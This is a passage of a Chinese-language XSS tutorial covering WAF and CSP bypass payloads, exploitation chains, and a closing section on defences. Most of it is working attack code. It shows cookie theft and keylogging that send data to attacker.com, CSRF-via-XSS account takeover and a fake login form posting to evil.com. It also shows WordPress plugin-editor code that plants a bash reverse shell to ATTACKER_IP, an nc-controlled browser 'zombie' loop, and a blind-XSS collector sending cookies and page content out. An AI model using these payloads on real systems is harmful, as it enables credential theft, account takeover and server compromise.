id=\"u08c00437\">JSONP\/AngularCDN \u53e3\u5b50<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4 id=\"qj8xx\">\u4e8c\u3001\u5bf9\u5e94\u7ed5\u8fc7\u65b9\u5f0f<\/h4>\n<p id=\"ud09a2db2\">\u9488\u5bf9\u9ed1\u540d\u5355:\u7528\u51b7\u95e8\u6807\u7b7e\/\u4e8b\u4ef6(WAF \u76ef &lt;script&gt;\/onerror,\u6362\u4e0d\u76ef\u7684)<\/p>\n<p>&lt;svg onload&#061;alert(1)&gt;<br \/>\n&lt;body onload&#061;alert(1)&gt;<br \/>\n&lt;iframe src&#061;javascript:alert(1)&gt;<br \/>\n&lt;details open ontoggle&#061;alert(1)&gt;<br \/>\n&lt;video src&#061;x onerror&#061;alert(1)&gt; <\/p>\n<p id=\"ucf652e10\">\u65e0\u4e8b\u4ef6\u5904\u7406\u5668\u5411\u91cf(\u4e13\u6cbb\u8fc7\u6ee4 on*&#061; \u7684 WAF)<\/p>\n<p>&lt;form action&#061;javascript:alert(1)&gt;&lt;input type&#061;submit&gt;<br \/>\n&lt;form&gt;&lt;button formaction&#061;javascript:alert(1)&gt;click<br \/>\n&lt;object data&#061;javascript:alert(1)&gt;<br \/>\n&lt;iframe srcdoc&#061;&lt;svg\/o&amp;#x6Eload&amp;equals;alert&amp;lpar;1)&amp;gt;&gt;<br \/>\n&lt;math&gt;&lt;brute href&#061;javascript:alert(1)&gt;click <\/p>\n<p id=\"uc9eba45f\">\u9488\u5bf9\u5927\u5c0f\u5199:\u53d8\u5f62<\/p>\n<p>&lt;ScRiPt&gt;alert(1)&lt;\/ScRiPt&gt;<br \/>\n&lt;IMG SRC&#061;x ONERROR&#061;alert(1)&gt; <\/p>\n<p id=\"u0bd8f2cc\">\u9488\u5bf9\u4e00\u6b21\u6027 strip:\u788e\u7247\u5316\u6ce8\u5165(WAF \u5220 &lt;x&gt;&#8230;&lt;\/x&gt; \u5c31\u5b8c\u4e8b \u2192 \u628a\u5173\u952e\u5b57\u62c6\u5f00)<\/p>\n<p>&#034;o&lt;x&gt;nmouseover&#061;alert&lt;x&gt;(1)\/\/<br \/>\n&#034;autof&lt;x&gt;ocus o&lt;x&gt;nfocus&#061;alert&lt;x&gt;(1)\/\/ <\/p>\n<p id=\"ue662b11e\">\u5220\u6389\u4e2d\u95f4 &lt;x&gt; \u540e,o&#043;nmouseover \u62fc\u56de onmouseover \u2192 \u89e6\u53d1\u3002<\/p>\n<p id=\"u3bdb3cd3\">\u9488\u5bf9\u6807\u7b7e\u540d\u8fc7\u6ee4:\u6807\u7b7e\u53d8\u5f62<\/p>\n<p>&lt;\/script\/x&gt;            &lt;!&#8211; \u5c3e\u90e8\u5783\u573e &#8211;&gt;<br \/>\n&lt;script                &lt;!&#8211; \u4e0d\u95ed\u5408,\u9760\u540e\u9762\u7684 &gt; \u8865 &#8211;&gt;<br \/>\n&lt;%00iframe             &lt;!&#8211; null \u5b57\u8282,\u5f88\u591a WAF \u622a\u65ad\u8bc6\u522b &#8211;&gt;<br \/>\n&lt;svg\/onload&#061;alert(1)&gt;  &lt;!&#8211; \u7528 \/ \u4ee3\u66ff\u7a7a\u683c &#8211;&gt; <\/p>\n<p id=\"ufba7e770\">\u9488\u5bf9\u53ea\u67e5\u503c:\u653b\u51fb\u53c2\u6570\u540d(payload \u653e\u53c2\u6570\u540d\u4e0a)<\/p>\n<p>?&#034;&gt;&lt;\/script&gt;&lt;base%20c%3D&#061;href%3Dhttps:\\\\mysite&gt; <\/p>\n<p id=\"u1ec51912\">WAF \u53ea\u67e5 &#061; \u540e\u9762\u7684\u503c,\u53c2\u6570\u540d\u91cc\u7684 payload \u6f0f\u6389\u3002<\/p>\n<p id=\"ucfec896c\">\u9488\u5bf9\u5b57\u7b26\u8fc7\u6ee4 &amp; \u6b63\u5219:\u7f16\u7801\u94fe<\/p>\n<p>%253C     &lt;!&#8211; \u53cc\u91cd URL \u7f16\u7801\u7684 &lt;,\u7b2c\u4e00\u5c42\u89e3\u7801\u6210 %3C,\u7b2c\u4e8c\u5c42\u624d\u6210 &lt; &#8211;&gt;<br \/>\n&lt;%00h2    &lt;!&#8211; null \u5b57\u8282\u6ce8\u5165 &#8211;&gt;<br \/>\n%0d%0a    &lt;!&#8211; \u6807\u7b7e\u5185 CRLF &#8211;&gt; <\/p>\n<p id=\"uc9bad587\">\u7ed5\u8fc7\u539f\u7406:WAF \u548c\u540e\u7aef\u89e3\u7801\u5c42\u6570\u4e0d\u540c\u3002WAF \u89e3\u4e00\u5c42\u3001\u540e\u7aef\u89e3\u4e24\u5c42,\u53cc\u91cd\u7f16\u7801\u5185\u5bb9 WAF \u770b\u7740\u50cf\u4e71\u7801\u5c31\u653e\u884c,\u540e\u7aef\u89e3\u7801\u540e\u8fd8\u539f\u6210 &lt;\u3002<\/p>\n<p id=\"ud2419a35\">\u9488\u5bf9\u6b63\u5219\u7279\u5f81:\u591a\u53cd\u5c04\u62fc\u63a5(\u8f93\u5165\u5728\u4e00\u9875\u53cd\u5c04\u591a\u6b21,\u788e\u7247 payload \u5355\u70b9\u770b\u90fd\u65e0\u5bb3)<\/p>\n<p>&#039;onload&#061;alert(1)&gt;&lt;svg\/1&#061;&#039;<br \/>\n&#039;&gt;alert(1)&lt;\/script&gt;&lt;script\/1&#061;&#039; <\/p>\n<p id=\"u4ec6d29e\">\u9488\u5bf9 CSP:\u627e\u767d\u540d\u5355\u57df\u7684\u53e3\u5b50<\/p>\n<p>&lt;!&#8211; \u767d\u540d\u5355\u542b google.com \u4e14\u6709 JSONP &#8211;&gt;<br \/>\n&lt;script src&#061;&#034;https:\/\/www.google.com\/complete\/search?client&#061;chrome&amp;jsonp&#061;alert(1);&#034;&gt;&lt;\/script&gt;<br \/>\n&lt;!&#8211; \u767d\u540d\u5355\u542b ajax.googleapis.com \u2192 \u52a0\u8f7d AngularJS &#8211;&gt;<br \/>\n&lt;script src&#061;&#034;https:\/\/ajax.googleapis.com\/ajax\/libs\/angularjs\/1.6.0\/angular.min.js&#034;&gt;&lt;\/script&gt;<br \/>\n&lt;x ng-app ng-csp&gt;{{constructor.constructor(&#039;alert(1)&#039;)()}}&lt;\/x&gt;<br \/>\n&lt;!&#8211; CSP \u6ca1\u9650\u5236 base-uri \u2192 \u8ba9\u76f8\u5bf9\u8def\u5f84\u811a\u672c\u4ece\u653b\u51fb\u8005\u670d\u52a1\u5668\u52a0\u8f7d &#8211;&gt;<br \/>\n&lt;base href&#061;&#034;https:\/\/attacker.com\/&#034;&gt; <\/p>\n<h4 id=\"dLSNG\">\u4e09\u3001\u5b9e\u6218\u7ed5\u8fc7\u6d41\u7a0b(ZSEANO \u65b9\u6cd5)<\/h4>\n<p id=\"ucc4d3977\">\u522b\u4e0a\u6765\u55b7 payload,\u6309\u6b65\u9aa4\u4e8c\u5206\u5b9a\u4f4d\u8fc7\u6ee4\u903b\u8f91:<\/p>\n<li id=\"u1e57c12f\">\u6d4b\u65e0\u5bb3\u6807\u7b7e:&lt;h2&gt;\u3001&lt;img&gt; \u539f\u6837\u53cd\u5c04\u6ca1?\u2192 \u786e\u8ba4 &lt; &gt; \u6709\u6ca1\u6709\u88ab\u5904\u7406<\/li>\n<li id=\"uc01f3e0c\">\u6d4b\u4e0d\u95ed\u5408\u6807\u7b7e:&lt;iframe src&#061;\/\/attacker.com\/c&#061;(\u6ca1 &gt;)\u2192 \u770b WAF \u662f\u4e0d\u662f\u53ea\u62e6\u5b8c\u6574\u6807\u7b7e<\/li>\n<li id=\"udd6e2049\">\u7f16\u7801\u63a2\u6d4b:&lt;%00h2\u3001%0d\u3001%253C \u2192 \u6478\u6e05\u7f16\u7801\u884c\u4e3a<\/li>\n<li id=\"uec003efe\">\u9ed1\u540d\u5355\u68c0\u67e5:&lt;svg&gt; \u884c\u4e0d\u884c?&lt;ScRiPt&gt; \u884c\u4e0d\u884c?\u2192 \u786e\u8ba4\u5927\u5c0f\u5199\u654f\u611f\u3001\u662f\u5426\u9ed1\u540d\u5355<\/li>\n<li id=\"u47033f21\">\u6362\u70b9\u590d\u7528:\u641c\u7d22\u6846\u8fc7\u6ee4\u4e86 &lt;script&gt;,\u6587\u4ef6\u540d\u3001\u4e2a\u4eba\u7b80\u4ecb\u3001User-Agent \u7528\u4e86\u540c\u4e00\u5957\u8fc7\u6ee4\u6ca1?<\/li>\n<p id=\"u3e277ce8\">\u5173\u952e\u6d1e\u5bdf:\u8fc7\u6ee4\u7684\u5b58\u5728 &#061; \u6f0f\u6d1e\u5b58\u5728\u3002\u5f00\u53d1\u8005\u8bd5\u8fc7\u6253\u8865\u4e01\u624d\u4f1a\u8fc7\u6ee4\u3002 \u4e00\u5904\u6709\u8fc7\u6ee4,\u5f80\u5f80\u610f\u5473\u7740\u540c\u4e00\u5957\u8fc7\u6ee4\u88ab\u590d\u7528\u5230\u522b\u5904,\u53bb\u522b\u5904\u627e\u6f0f\u7684\u66f4\u53ef\u80fd\u7a81\u7834\u3002<\/p>\n<hr id=\"ld4M8\" \/>\n<h3 id=\"N2QCp\">\u7b2c\u516b\u5c42:\u5b8c\u6574\u5229\u7528\u94fe(\u4ece\u5f39\u7a97\u5230 RCE)<\/h3>\n<p id=\"u439cd28e\">\u7ea0\u6b63&#034;XSS &#061; \u5077 cookie&#034;\u7684\u9519\u89c9\u3002XSS \u7684\u672c\u8d28\u662f&#034;\u5728\u53d7\u5bb3\u8005\u8eab\u4efd&#043;\u53d7\u5bb3\u8005\u57df\u540d\u4e0b\u4efb\u610f\u6267\u884c JS&#034;,\u5077 cookie \u53ea\u662f\u6700\u6d45\u7684\u7528\u6cd5\u3002<\/p>\n<h4 id=\"Xz3cr\">1. Cookie \u5077\u53d6(\u6700\u57fa\u7840)<\/h4>\n<p>fetch(&#039;\/\/attacker.com\/?c&#061;&#039; &#043; document.cookie);<br \/>\n\/\/ HttpOnly \u7684 cookie \u8bfb\u4e0d\u5230 \u2192 \u8d70\u4e0b\u9762\u7684 CSRF-via-XSS <\/p>\n<h4 id=\"GoXcb\">2. \u952e\u76d8\u8bb0\u5f55<\/h4>\n<p>document.onkeypress &#061; function(e) {<br \/>\n    fetch(&#039;\/\/attacker.com\/k?k&#061;&#039; &#043; encodeURIComponent(e.key));<br \/>\n}; <\/p>\n<p id=\"u67abbd7a\">\u6bcf\u6b21\u6309\u952e\u53d1\u56de \u2192 \u76f4\u63a5\u6293\u5bc6\u7801,\u8fde cookie \u90fd\u4e0d\u7528\u3002<\/p>\n<h4 id=\"acKih\">3. CSRF-via-XSS(\u7ed5\u8fc7 CSRF \u9632\u62a4,HttpOnly \u4e5f\u6321\u4e0d\u4f4f)<\/h4>\n<p>\/\/ XSS \u5728\u53d7\u5bb3\u8005\u57df\u540d\u4e0b\u6267\u884c \u2192 \u6709\u6743\u8bfb\u53d7\u5bb3\u8005\u9875\u9762\u7684 CSRF token<br \/>\nvar r &#061; new XMLHttpRequest();<br \/>\nr.open(&#039;GET&#039;, &#039;\/account\/settings&#039;, false);  \/\/ \u62c9\u8bbe\u7f6e\u9875<br \/>\nr.send();<br \/>\n\/\/ \u4ece DOM\/\u54cd\u5e94\u91cc\u62a0\u51fa CSRF token<br \/>\nvar token &#061; \/csrf_token[&#039;&#034;:\\\\s]&#043;([^&#039;&#034;&lt;\\\\s]&#043;)\/.exec(r.responseText)[1];<\/p>\n<p>\/\/ \u4ee5\u53d7\u5bb3\u8005\u8eab\u4efd\u6539\u90ae\u7bb1(\u6d4f\u89c8\u5668\u81ea\u52a8\u5e26 HttpOnly cookie)<br \/>\nvar f &#061; new XMLHttpRequest();<br \/>\nf.open(&#039;POST&#039;, &#039;\/account\/email\/change&#039;, true);<br \/>\nf.setRequestHeader(&#039;Content-Type&#039;, &#039;application\/x-www-form-urlencoded&#039;);<br \/>\nf.send(&#039;email&#061;attacker&#064;evil.com&amp;csrf&#061;&#039; &#043; token); <\/p>\n<p id=\"u5980226c\">\u4e3a\u4ec0\u4e48 HttpOnly \u6321\u4e0d\u4f4f:\u4e0d\u9700\u8981\u8bfb cookie,\u6d4f\u89c8\u5668\u53d1\u8bf7\u6c42\u65f6\u81ea\u52a8\u5e26 HttpOnly cookie,\u800c CSRF token \u5728 DOM \u91cc\u80fd\u8bfb\u3002<\/p>\n<h4 id=\"HqhEl\">4. \u9493\u9c7c\/\u9875\u9762\u7be1\u6539<\/h4>\n<p id=\"u12a83559\">\u5728 victim.com \u4e0a\u5f39\u5047\u767b\u5f55\u6846,\u4f60\u4ee5\u4e3a\u662f\u8fd9\u4e2a\u7ad9\u8981\u4f60\u767b\u5f55,\u8f93\u5165\u7684\u8d26\u5bc6\u76f4\u63a5\u9001\u653b\u51fb\u8005\u3002<\/p>\n<p>\/\/ \u5728 victim.com \u4e0a\u4f2a\u9020\u4e00\u4e2a\u903c\u771f\u7684\u767b\u5f55\u6846<br \/>\ndocument.body.innerHTML &#061; &#039;&lt;form action&#061;&#034;\/\/evil.com\/steal&#034;&gt;&lt;input name&#061;user&gt;&lt;input name&#061;pwd type&#061;password&gt;&lt;button&gt;\u91cd\u65b0\u767b\u5f55&lt;\/button&gt;&lt;\/form&gt;&#039;; <\/p>\n<h4 id=\"fxocg\">5. XSS \u2192 RCE(\u62ff\u7ba1\u7406\u5458\u6001\u540e\u6539\u4ee3\u7801)<\/h4>\n<p id=\"u0a96c982\">\u4ee5 WordPress \u4e3a\u4f8b,\u7ba1\u7406\u5458\u767b\u5f55\u6001\u4e0b,\u901a\u8fc7 XSS \u8c03\u63d2\u4ef6\u7f16\u8f91\u5668\u5199\u5165\u4e00\u53e5\u8bdd:<\/p>\n<p>p &#061; &#039;\/wp-admin\/plugin-editor.php?&#039;;<br \/>\nq &#061; &#039;file&#061;hello.php&#039;;<br \/>\ns &#061; &#039;&lt;?&#061;&#096;bash -i &gt;&amp; \/dev\/tcp\/ATTACKER_IP\/4444 0&gt;&amp;1&#096;;?&gt;&#039;;<\/p>\n<p>\/\/ \u62c9\u7f16\u8f91\u9875\u62ff nonce<br \/>\na &#061; new XMLHttpRequest();<br \/>\na.open(&#039;GET&#039;, p&#043;q, 0); a.send();<br \/>\n$ &#061; &#039;_wpnonce&#061;&#039; &#043; \/nonce&#034; value&#061;&#034;([^&#034;]*?)&#034;\/.exec(a.responseText)[1] &#043;<br \/>\n    &#039;&amp;newcontent&#061;&#039; &#043; encodeURIComponent(s) &#043; &#039;&amp;action&#061;update&amp;&#039; &#043; q;<\/p>\n<p>\/\/ POST \u5199\u5165\u6076\u610f\u4ee3\u7801<br \/>\nb &#061; new XMLHttpRequest();<br \/>\nb.open(&#039;POST&#039;, p&#043;q, 1);<br \/>\nb.setRequestHeader(&#039;Content-Type&#039;, &#039;application\/x-www-form-urlencoded&#039;);<br \/>\nb.send($);<br \/>\n\/\/ \u5199\u5b8c\u89e6\u53d1\u5b83 \u2192 \u53cd\u5f39 shell<br \/>\nb.onreadystatechange &#061; function(){<br \/>\n  if(this.readyState&#061;&#061;4) fetch(&#039;\/wp-content\/plugins\/hello.php&#039;);<br \/>\n}; <\/p>\n<h4 id=\"WPOdt\">6. \u6d4f\u89c8\u5668\u8fdc\u7a0b\u63a7\u5236(\u628a\u53d7\u5bb3\u8005\u6d4f\u89c8\u5668\u53d8\u8089\u9e21\u7ec8\u7aef)<\/h4>\n<p>\/\/ \u6ce8\u5165\u5230\u53d7\u5bb3\u8005\u9875\u9762:\u6bcf 100ms \u8f6e\u8be2\u653b\u51fb\u8005\u670d\u52a1\u5668\u62ff\u6307\u4ee4<br \/>\nsetInterval(function(){<br \/>\n  with(document)body.appendChild(createElement(&#039;script&#039;)).src&#061;&#039;\/\/ATTACKER:5855&#039;<br \/>\n}, 100);<br \/>\n# \u653b\u51fb\u8005\u76d1\u542c\u7aef:\u4e00\u4e2a\u7b80\u6613 JS \u547d\u4ee4 shell<br \/>\nwhile :; do printf &#034;j$ &#034;; read c; echo $c | nc -lp 5855 &gt;\/dev\/null; done <\/p>\n<h4 id=\"eiamb\">\u5229\u7528\u94fe\u603b\u89c8<\/h4>\n<p>\u5f39\u7a97(PoC) \u2192 \u5077 cookie\/\u952e\u76d8\u8bb0\u5f55 \u2192 CSRF-via-XSS \u6539\u8d26\u53f7 \u2192 \u9493\u9c7c \u2192 XSS\u2192RCE \u62ff\u670d\u52a1\u5668<br \/>\n   \u2191                                                              \u2191<br \/>\n \u8bc1\u660e\u5b58\u5728                                                   \u6700\u9ad8\u5371\u5bb3 <\/p>\n<hr id=\"VmdYn\" \/>\n<h3 id=\"YEE8Y\">\u7b2c\u4e5d\u5c42:\u8fdb\u9636\u2014\u2014\u76f2 XSS\u3001Self-XSS\u3001\u73b0\u4ee3\u6846\u67b6<\/h3>\n<h4 id=\"Do5tE\">1. \u76f2 XSS(Blind XSS)<\/h4>\n<p id=\"ua69569b7\">\u5b58\u50a8\u578b\u7684\u8fdb\u9636\u3002\u5f80\u8054\u7cfb\u8868\u5355\u3001\u53cd\u9988\u6846\u3001User-Agent\u3001\u62a5\u9519\u65e5\u5fd7\u585e payload,\u5f53\u65f6\u770b\u4e0d\u5230\u56de\u663e\u2014\u2014\u4f46\u5f53\u7ba1\u7406\u5458\u6253\u5f00\u540e\u53f0\u5de5\u5355\/\u65e5\u5fd7\u5217\u8868\u65f6\u89e6\u53d1\u3002<\/p>\n<p>&lt;!&#8211; \u76f2 XSS \u56de\u8c03 payload:\u6302\u5916\u90e8 JS \u6587\u4ef6,\u7b49\u7ba1\u7406\u5458\u89e6\u53d1 &#8211;&gt;<br \/>\n&#034;&gt;&lt;script src&#061;\/\/attacker.com\/bxss.js&gt;&lt;\/script&gt;<\/p>\n<p>\/\/ bxss.js:\u7ba1\u7406\u5458\u89e6\u53d1\u65f6\u6267\u884c,\u628a\u4e0a\u4e0b\u6587\u53d1\u56de<br \/>\nvar d &#061; document;<br \/>\nvar msg &#061; &#039;URL: &#039;&#043;d.URL&#043;&#039;\\\\nCOOKIE: &#039;&#043;d.cookie&#043;&#039;\\\\nDOM:\\\\n&#039;&#043;d.documentElement.innerHTML;<br \/>\nfetch(&#039;https:\/\/attacker.com\/collect?&#039;&#043;encodeURIComponent(msg)); <\/p>\n<p id=\"ud56184e9\">\u7528 XSS Hunter \u8fd9\u7c7b\u76f2 XSS \u5e73\u53f0\u505a\u81ea\u52a8\u5316\u6536\u96c6\u3002\u8fd9\u662f SRC \u91cc&#034;\u4f4e\u5782\u679c\u5b9e\u4e4b\u5916\u6253\u9ad8\u4ef7\u503c\u6d1e&#034;\u7684\u8def\u5b50\u3002<\/p>\n<h4 id=\"fsnfT\">2. Self-XSS \u7684\u9677\u9631(SRC \u62a5\u522b\u8e29)<\/h4>\n<p id=\"u8bfeb0cf\">\u6709\u4e9b\u8f93\u5165\u70b9\u4f60\u6d4b\u51fa\u5f39\u7a97\u4e86,\u4f46\u5176\u5b9e\u53ea\u5751\u81ea\u5df1\u2014\u2014payload \u8981\u53d7\u5bb3\u8005\u81ea\u5df1\u624b\u52a8\u7c98\u8d34\u8fdb\u63a7\u5236\u53f0\/\u8f93\u5165\u6846\u624d\u89e6\u53d1,\u6ca1\u6709&#034;\u8bf1\u5bfc\u4ed6\u4eba&#034;\u7684\u8def\u5f84\u3002\u8fd9\u79cd\u4e0d\u7b97\u6f0f\u6d1e,SRC \u4e0d\u6536\u3002<\/p>\n<p id=\"u5b5068c2\">\u5224\u65ad\u6807\u51c6:\u6709\u6ca1\u6709\u4e00\u6761\u4e0d\u9760\u793e\u5de5\u53d7\u5bb3\u8005\u624b\u52a8\u7c98\u8d34\u7684\u89e6\u53d1\u94fe\u3002\u5982\u679c\u6ca1\u6709 \u2192 Self-XSS \u2192 \u4e0d\u662f\u6f0f\u6d1e\u3002<\/p>\n<h4 id=\"BzOrb\">3. \u73b0\u4ee3\u6846\u67b6\u6539\u53d8\u4e86 XSS \u5f62\u6001<\/h4>\n<p id=\"u6d2a1460\">React\/Vue\/Angular \u9ed8\u8ba4\u5bf9\u63d2\u503c\u505a\u8f6c\u4e49,\u4f46\u5404\u6709\u663e\u5f0f\u4e0d\u8f6c\u4e49\u7684\u53e3\u5b50:<\/p>\n<table id=\"rm968\">\n<tbody>\n<tr>\n<td>\n<p id=\"ud39d631d\">\u6846\u67b6<\/p>\n<\/td>\n<td>\n<p id=\"u7484352b\">\u5371\u9669 API<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"ucf3c65a6\">React<\/p>\n<\/td>\n<td>\n<p id=\"u762c70e7\">dangerouslySetInnerHTML<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"ub741db8a\">Vue<\/p>\n<\/td>\n<td>\n<p id=\"u4c776182\">v-html<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"uf16cd223\">Angular<\/p>\n<\/td>\n<td>\n<p id=\"u34ffc504\">bypassSecurityTrust*<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p id=\"u3e78f814\">\u73b0\u4ee3\u5e94\u7528\u7684 XSS \u4e0d\u5728&#034;\u6a21\u677f\u63d2\u503c&#034;\u4e86,\u96c6\u4e2d\u5728\u8fd9\u51e0\u5904\u663e\u5f0f\u4fe1\u4efb\u7684\u5730\u65b9\u3002\u6316\u7684\u65f6\u5019\u6362\u601d\u8def\u2014\u2014\u627e\u6846\u67b6\u7684&#034;\u9003\u751f\u8231&#034;,\u800c\u4e0d\u662f\u627e\u88f8 echo\u3002<\/p>\n<h4 id=\"nVm4z\">4. \u4e8c\u9636 XSS(Second-Order XSS)<\/h4>\n<p id=\"u014ef157\">\u8f93\u5165\u88ab\u5b58(\u5e38\u505a HTML \u7f16\u7801),\u4e4b\u540e\u53d6\u51fa\u6765\u5728\u53e6\u4e00\u4e2a\u4e0a\u4e0b\u6587\u91cc\u6e32\u67d3\u65f6\u6ca1\u91cd\u65b0\u7f16\u7801\u3002<\/p>\n<p>\u6ce8\u518c\u65f6 username &#061; &amp;lt;svg\/onload&amp;equals;alert(1)&amp;gt;  (\u5b58\u5e93\u65f6 HTML \u7f16\u7801\u4e86)<br \/>\n                                    \u2193<br \/>\n\u7ba1\u7406\u5458\u540e\u53f0\u6e32\u67d3\u7528\u6237\u5217\u8868\u65f6,\u539f\u6837\u8f93\u51fa \u2192 \u89e3\u7801\u540e\u89e6\u53d1 <\/p>\n<p id=\"u0ad81c05\">\u89e6\u53d1\u70b9:\u4e2a\u4eba\u8d44\u6599\u3001\u663e\u793a\u540d\u3001\u8bba\u575b\u5e16\u2014\u2014\u6570\u636e\u5b58\u4e86\u4e4b\u540e\u5728\u4e0d\u540c\u4e0a\u4e0b\u6587(\u7528\u6237\u9762 vs \u7ba1\u7406\u540e\u53f0)\u91cd\u65b0\u6e32\u67d3\u3002<\/p>\n<hr id=\"gJb2y\" \/>\n<h3 id=\"OTfDN\">\u7b2c\u5341\u5c42:\u9632\u5fa1\u4fa7(\u77e5\u9053\u600e\u4e48\u4fee\u624d\u77e5\u9053\u54ea\u91cc\u6ca1\u4fee\u5bf9)<\/h3>\n<h4 id=\"wiM3n\">1. \u6309\u4e0a\u4e0b\u6587\u8f93\u51fa\u7f16\u7801(\u6838\u5fc3\u9632\u5fa1)<\/h4>\n<p id=\"ue3fa91e8\">\u5f88\u591a\u6f0f\u6d1e\u5c31\u662f&#034;\u7528\u9519\u7f16\u7801\u51fd\u6570&#034;\u3002\u4e0d\u540c\u4e0a\u4e0b\u6587\u8981\u7528\u4e0d\u540c\u7f16\u7801:<\/p>\n<table id=\"oiLAH\">\n<tbody>\n<tr>\n<td>\n<p id=\"u880d80ef\">\u8f93\u51fa\u4f4d\u7f6e<\/p>\n<\/td>\n<td>\n<p id=\"u7d4987fb\">\u7f16\u7801\u65b9\u5f0f<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u473530d6\">HTML \u6587\u672c<\/p>\n<\/td>\n<td>\n<p id=\"u9602af02\">HTML \u5b9e\u4f53\u7f16\u7801(&lt; \u2192 &amp;lt;)<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u680e4dbb\">HTML \u5c5e\u6027<\/p>\n<\/td>\n<td>\n<p id=\"u1775add9\">\u5c5e\u6027\u7f16\u7801(\u6ce8\u610f\u5f15\u53f7)<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u8d7cd323\">JS \u5b57\u7b26\u4e32<\/p>\n<\/td>\n<td>\n<p id=\"uc9002036\">JS \u7f16\u7801(\\\\x3C)<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u517dd5e6\">URL<\/p>\n<\/td>\n<td>\n<p id=\"u8eea66ec\">URL \u7f16\u7801(%3C)<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4 id=\"gP0SH\">2. CSP(\u5185\u5bb9\u5b89\u5168\u7b56\u7565,\u7eb5\u6df1\u9632\u5fa1)<\/h4>\n<p>Content-Security-Policy: default-src &#039;self&#039;; script-src &#039;self&#039; &#039;nonce-xxx&#039; <\/p>\n<ul>\n<li id=\"u2e0d7557\">\u9650\u5236\u811a\u672c\u6765\u6e90\u3001\u7981\u5185\u8054(\u9664\u975e\u5e26 nonce)<\/li>\n<li id=\"u91625c55\">\u6ce8\u610f\u5c01\u4f4f base-uri\u3001object-src,\u5426\u5219\u6709 base \u6ce8\u5165\u53e3\u5b50<\/li>\n<\/ul>\n<h4 id=\"kUTaq\">3. Cookie \u4fdd\u62a4<\/h4>\n<p>Set-Cookie: session&#061;xxx; HttpOnly; Secure; SameSite&#061;Lax <\/p>\n<ul>\n<li id=\"uf8b69953\">HttpOnly:\u6321 JS \u8bfb(\u4f46\u6321\u4e0d\u4f4f\u501f\u5200\u529e\u4e8b)<\/li>\n<li id=\"ub8dcd720\">Secure:\u53ea\u8d70 HTTPS<\/li>\n<li id=\"u3c6d7117\">SameSite:\u6321 CSRF<\/li>\n<\/ul>\n<h4 id=\"YFSEL\">4. \u6846\u67b6\u9ed8\u8ba4\u8f6c\u4e49 &#043; \u614e\u7528\u5371\u9669 API<\/h4>\n<ul>\n<li id=\"ue8d7c818\">\u7528\u6846\u67b6\u7684\u9ed8\u8ba4\u8f6c\u4e49<\/li>\n<li id=\"uc5c6f7da\">v-html\/dangerouslySetInnerHTML \u4e25\u683c\u767d\u540d\u5355\u8f93\u5165<\/li>\n<\/ul>\n<hr id=\"eiF1m\" \/>\n<h3 id=\"VvXtd\">\u901f\u67e5\u8868<\/h3>\n<h4 id=\"l0Mm6\">\u4e09\u578b\u5bf9\u6bd4<\/h4>\n<table id=\"P02Ye\">\n<tbody>\n<tr>\n<td>\n<p id=\"ue8161db8\">\u7c7b\u578b<\/p>\n<\/td>\n<td>\n<p id=\"udf8c3f13\">payload \u5b58\u54ea<\/p>\n<\/td>\n<td>\n<p id=\"ua4fd384d\">\u600e\u4e48\u5230\u53d7\u5bb3\u8005<\/p>\n<\/td>\n<td>\n<p id=\"u049bfcf4\">\u670d\u52a1\u5668\u770b\u5f97\u5230\u5417<\/p>\n<\/td>\n<td>\n<p id=\"u4e20002f\">\u68c0\u6d4b<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u421f3a8d\">\u5b58\u50a8\u578b<\/p>\n<\/td>\n<td>\n<p id=\"u80269461\">\u6570\u636e\u5e93<\/p>\n<\/td>\n<td>\n<p id=\"u9f770d9b\">\u53d7\u5bb3\u8005\u6b63\u5e38\u8bbf\u95ee<\/p>\n<\/td>\n<td>\n<p id=\"uc9062e6e\">\u80fd<\/p>\n<\/td>\n<td>\n<p id=\"ud0ed47e4\">\u6613<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u6159d35f\">\u53cd\u5c04\u578b<\/p>\n<\/td>\n<td>\n<p id=\"uaf4dc25b\">URL\/\u8bf7\u6c42<\/p>\n<\/td>\n<td>\n<p id=\"ua9abf587\">\u793e\u5de5\u70b9\u94fe\u63a5<\/p>\n<\/td>\n<td>\n<p id=\"ubc0e34e7\">\u80fd(\u54cd\u5e94\u56de\u663e)<\/p>\n<\/td>\n<td>\n<p id=\"u7d2a815e\">\u4e2d<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u14af2712\">DOM \u578b<\/p>\n<\/td>\n<td>\n<p id=\"ue5080e37\">URL fragment \u7b49<\/p>\n<\/td>\n<td>\n<p id=\"udd690c18\">\u793e\u5de5\u70b9\u94fe\u63a5<\/p>\n<\/td>\n<td>\n<p id=\"u504b7d72\">\u770b\u4e0d\u5230<\/p>\n<\/td>\n<td>\n<p id=\"uca17b972\">\u96be(\u5ba1 JS)<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4 id=\"EmhF8\">\u6309\u4e0a\u4e0b\u6587\u9009 payload<\/h4>\n<table id=\"eAy5M\">\n<tbody>\n<tr>\n<td>\n<p id=\"u2ec8adca\">\u4e0a\u4e0b\u6587<\/p>\n<\/td>\n<td>\n<p id=\"ua35a642d\">payload<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"ud9b1757c\">HTML \u6587\u672c<\/p>\n<\/td>\n<td>\n<p id=\"u1a7cc0d8\">&lt;svg onload&#061;alert(1)&gt;<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u7fa19aea\">\u5c5e\u6027\u503c<\/p>\n<\/td>\n<td>\n<p id=\"u4144eecb\">&#034; autofocus onfocus&#061;alert(1)\/\/<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"ub0c4a30c\">JS \u5b57\u7b26\u4e32<\/p>\n<\/td>\n<td>\n<p 